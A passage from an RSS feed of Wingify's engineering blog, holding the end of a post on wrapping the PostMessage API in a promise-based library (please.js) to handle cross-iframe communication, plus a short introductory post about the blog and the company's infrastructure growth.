href="https://developer.mozilla.org/en-US/docs/Web/API/window.postMessage">PostMessage API</a>. Provided a customer had VWO tracking code integrated on their website, we could load the iframe directly without a proxy and communicate with it using this API. The bigger question, however, was how to do it. The Editor had a lot of parent-child communication going under the hood for every task the user performed. When attempting to use PostMessage for this communication, we were faced with a couple of issues:  <ol> <li>Our legacy code had direct communication between the parent frame and the child frame at all places, i.e. the objects and functions in the child were accessed synchronously. PostMessage API, on the other hand, is completely asynchronous, and implementing such an API on the existing codebase would almost mean rethinking the entire logic and program flow all over again. We could foresee this asynchronous transition become a cause of a lot of race conditions within the Editor.</li> <li>Often, after sending a message to the other frame, we wanted to hear back a reply, for which we needed a decent two-way communication. A kind that would keep track of the sender and the receiver and could be identified across iframes using a unique identifier (to tie up the requests and responses).</li> <li>Since PostMessage uses string messages for communication (or <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/DOM/The_structured_clone_algorithm">structurally cloneable</a> objects in the recent browsers), it put a big limit on what kind of data we could send during this communication. Directly accessing DOM nodes and sending around certain cyclic objects was no longer possible.</li> </ol> For instance, when you select an element in the child frame, it creates a new <code class="language-text">VWO.Element</code> instance in the parent frame and asks it to open a context menu. The code looked something like this: <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript"> $(elementSelectorPath).click(function() { var element = parent.VWO.Element.create(elementSelectorPath); parent.VWO.ContextMenu.showForElement(element); });</code></pre></div> While, it might seem like a trivial problem to solve on the cover, deep underneath, we were faced with a race condition. The <code class="language-text">Element.create</code> method asked the child frame to add a class to that element, and the <code class="language-text">ContextMenu.showForElement</code> expected the class to have been applied by the time it was executed. <h2 id="the-solution" style="position:relative;"><a href="#the-solution" aria-label="the solution permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>The Solution</h2> We concluded that refactoring the code to adapt to the asynchrony would be one hell of a task and we had to find another way. We decided to write a wrapper around the PostMessage API to solve the above three problems. We called it <code class="language-text">please.js</code>. We are currently giving it some finishing touches before we push it out to the community. Here's how we did it: <ul> <li>We decided to build this library on top of jQuery Deferred API. While deferred objects and promises don't exactly eliminate the asynchrony, they somehow bridge the gap between the two, making asynchronous code feel more linear and flattened. So, using that base, any piece of code that expected code prior to it to have been executed fully, could now be made possible without giving a lot of thought. In the above example, the transition to <code class="language-text">please.js</code> looked like this:</li> </ul> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript"> $(elementSelectorPath).click(function() { please(parent) .call('VWO.Element.create', elementSelectorPath) .then(function (element) { please(parent) .call('VWO.ContextMenu.showForElement', element); }); });</code></pre></div> Although this seems hackish at the first glance, it was a way to rapidly iterate over synchronous code and convert it to use promises and callbacks without giving much thought on the logic. <ul> <li>To establish a good two-way communication, we thought of thinking of each communication as a pair of messages: a request and a response. Under the hood, we identified each message using a timestamp it was initiated on, and created a request object with that identifier. We then send the request to the other frame, whilst storing it in the current frame in a hashmap. The other frame would then receive the request, perform an appropriate action and send back a response. After a response is received, the request would be deleted from the hashmap. To make things easier for us, we created a set of functions to make certain frequent tasks easier. For instance, getting / setting a property and calling a function were the most common tasks we performed. The code for these tasks now looked like this:</li> </ul> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript"> please(parent).get('window.location').then(function(location) { // use location here }); please(parent).set('foo', 'bar').then(function () { // do something here }); // reload the child window. var childWindow = $('iframe#child').get(0).contentWindow; please(childWindow).call('window.location.reload');</code></pre></div> A paradigm shift, yet the logic remained unaffected. Exactly what we wanted. <ul> <li>The last task was a big one. We had a lot of code in the parent frame directly accessing the child frame's DOM. While this is not advocated as a good practice, such problems are often faced when building upon and improving legacy code. With PostMessage, you can no longer access the child's DOM in any way. But we came up with a smart solution. We know that jQuery is a wrapper around the traditional DOM. We created a PostMessage wrapper around jQuery itself! Which makes impossible turn possible:</li> </ul> <div class="gatsby-highlight" data-language="javascript"><pre class="language-javascript"><code class="language-javascript"> // set #bar's height in child = foo's height in child var pls = please($('iframe#child').get(0).contentWindow); pls.$('div#foo').height().then(function (fooHeight) { pls.$('div#bar').height(fooHeight); }); // DOM elements are returned back as please.UnserializableObject // which can then be passed back to please.$ to do more stuff pls.$('&lt;div>hello world&lt;/div>').then(function (newDiv) { pls.$(newDiv).appendTo('body'); });</code></pre></div> This was something that I thought of during one of the <a href="http://team.wingify.com/friday-engineering-talks-at-wingify">hackathons</a> we host at Wingify. Turned out to be very fruitful! <h2 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> In my personal opinion, I believe using promises for such a large transition has greatly impacted the way I think about frontend web development. It is a way forward for rapid asynchronous development, and yet having a flattened synchronous-like code structure. <code class="language-text">please.js</code> will be opensourced soon, so keep an eye out on the blog for updates!</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[Introduction: Engineering @ Wingify]]></title><description><![CDATA[I clearly remember the summer of 2010 when we were about to launch our product Visual Website Optimizer out of beta and almost all the…]]></description><link>https://engineering.wingify.com//posts/introduction/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/introduction/</guid><pubDate>Wed, 22 May 2013 00:00:00 GMT</pubDate><content:encoded>I clearly remember the summer of 2010 when we were about to launch our product <a href="http://visualwebsiteoptimizer.com">Visual Website Optimizer</a> out of beta and almost all the conversations I and <a href="http://twitter.com/paraschopra">Paras</a> had were either around acquiring our initial customers or about the ever increasing load on our single <a href="http://linode.com">Linode</a> 512MB VPS. Three years down, we still end up discussing about the same things but at a completely different magnitude. The customer base has increased to 2600+ accounts across 75+ countries and our <a href="http://visualwebsiteoptimizer.com/split-testing-blog/geo-distributed-architecture/">geo distributed architecture</a> on a set of 30+ servers currently serve close to 8,000 requests per second. In this amazing journey what we also managed to do is try our hands on a bunch of different technologies, tools and libraries. Many a times, the available stuff didn't fit our scaling needs and we had to craft our own versions. With the medium of this blog (which was long due), my team will try to talk about all the learning we keep having in our day-to-day engineering work at <a href="http://wingify.com">Wingify</a>. In the next few posts, we will walk though the evolution in our architecture (from standard LAMP to a delicately configured <a href="http://openresty.org">openresty</a> CDN &#x26; DA (Content distribution &#x26; data acquisition network) environment; from a single data center stack to a distributed system across the globe), code rewrites / refactors we had to do, various benchmarks we relied on and of course all the learning we had from this exercise. We will showcase and write about the small / big tools and libraries we wrote to scratch our own itch. If you ever have any question, suggestion, feedback or you want to discuss anything or just want to drop a hello; I would love to hear from you. Please feel free to get in touch with me <a href="mailto:sparsh@wingify.com">sparsh@wingify.com</a> or with our engineering team <a href="mailto:%0Aengineering@wingify.com">engineering@wingify.com</a> directly or via comments section in this blog. Hope to see you again soon when we post our first engineering article on this blog. Please <a href="/atom.xml">subscribe</a> the blog to stay updated. We're out to change the way software is written, so come along and <a href="http://visualwebsiteoptimizer.com/careers.php">share our journey</a>! -- Engineering @ <a href="http://wingify.com">Wingify</a></content:encoded><author>Sparsh Gupta</author></item></channel></rss>

CINXE.COM